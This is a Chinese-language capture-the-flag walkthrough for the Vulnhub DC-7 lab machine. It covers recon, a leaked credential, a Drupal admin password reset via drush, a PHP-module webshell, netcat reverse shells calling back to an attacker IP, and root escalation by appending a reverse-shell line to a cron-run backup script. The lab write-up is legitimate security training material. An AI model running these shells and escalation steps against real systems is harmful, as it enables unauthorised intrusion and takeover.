Vulnhub靶机
Vulnhub靶机下载:/
官网地址:https://download.vulnhub.com/dc/DC-7.zip
Vulnhub靶机安装:
下载好了把安装包解压 然后使用VMware 打开即可。
DC-7:只有一个最终的flag,只有拿到root权限才可以发现最终的flag。
环境准备
攻击机:kali
靶机:DC-7
同一网卡
DC-7 靶机渗透
信息收集
kali里使用netdiscover发现主机(快一点)
netdiscover -i eth0 -r 192.168.0.0/24
当然也可以用 nmap探测整个虚拟机网段存活主机,发现靶机ip:
nmap -sP -PI -PT 192.168.0.1/24
使用 nmap 探测开放端口及服务
nmap -sCV 192.168.0.137 -p-
同样也是开放了 22 和 80 端口,浏览器访问 80
发现又是 Drupal,主页有一段话
DC-7引入了一些“新”概念,但我把它们留给你自己去弄清楚是什么。虽然这个挑战并不全是技术性的,但如果你需要诉诸暴力强迫或字典攻击,你可能不会成功。你要做的,就是跳出思维定势。“跳出”框框
回到靶场描述https://www.vulnhub.com/entry/dc-7,356/发现说的一样
审计泄露
这里作者的意思让我们跳出传统渗透思路,从白盒审计入手,在主页左下角有作者的名字,直接 google 搜索
发现其 github 及 twitter
这是DC-7挑战的一些“代码”(是的,它不是最好的代码,但这不是重点)。
顺便说一句,这不是一面旗帜,但如果你来到这里,无论如何都做得很好。:-)
发现其 githu 下只有一个项目,且给了是 DC-7 的一些源码,那就下载到本地审计一下,在 config.php 中先数据库账号密码
dc7user/MdR3xOgB7#dW
但是网站没有对外开放 3306,所以只能用此账号密码尝试网站登录或 ssh 登录
网站登录提示用户密码错误,那就只能尝试 ssh 登录
没想到就直接进入 shell 了,不过只是一个普通用户,收集下信息
sudo -l
find / -perm -u=s -type f 2>/dev/null
利用https://github.com/The-Z-Labs/linux-exploit-suggester扫内核漏洞发现有个高可能性的,但是由于靶场环境不能 gcc 编译,要运行 poc 得搭建同样的内核环境,太麻烦就没做尝试
继续翻找用户目录看看,在当前用户目录下,有个 backups 和 mbox,很熟悉进去看看发现两个.gpg 文件,没见过这类文件,不知道是干嘛的
于是问了下 chatgpt:大概意思是经过加密后的文件
在另一个文件 mbox 发现了些信息有个/opt/scripts/backups.sh 脚本文件
cat 查看一下
看不太懂,交给 chatgpt
Drush 重置管理员密码
这里尝试利用 drush 命令来修改网站 admin 用户密码
cd /var/www/html/
drush user-password admin --password="123456"
显示修改成功,进入网站登录看看
Drupal 8-getshell
成功进来了,然后呢,然后不知道咋搞了,参考其他大佬文章,直接添加 php 代码反弹 shell,但发现Drupal 8不支持PHP代码,为了安全,需要将php单独作为一个模块导入。
https://www.drupal.org/project/php //Php介绍页面如下
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz //模块包下载地址
进入 extend 安装
选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示
接下来就直接写 webshell
蚁剑连接
nc 反弹一手 shell 方便后续操作
nc -e /bin/bash 192.168.0.10 4444
老规矩 python 稳定 shell
which python
python -c 'import pty;pty.spawn("/bin/bash")'
现在用户变为了 www-date,依旧是普通权限
提权
接下来提权还是需要用到前面发现的 backups.sh 脚本,可以看一下所属用户和组
发现其所属 www-date组,www-date 用户可以对这个脚本文件进行操作,既然如此就写入 nc 反弹命令
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.10 4444 >/tmp/f" >> backups.sh
手动执行
这里不对啊,不能当前用户手动执行不然还是当前用户,参考大佬文章说,这个脚本由 root 用户定时 15 分钟执行一次,所以写入反弹命令后,开启监听静静等待其自动执行就可以了,从之前的那个 mbox 文件可以分析出来
等待其自动执行反弹 shell
这不就来了吗,顺便看了一下自动任务,果然
crontab -l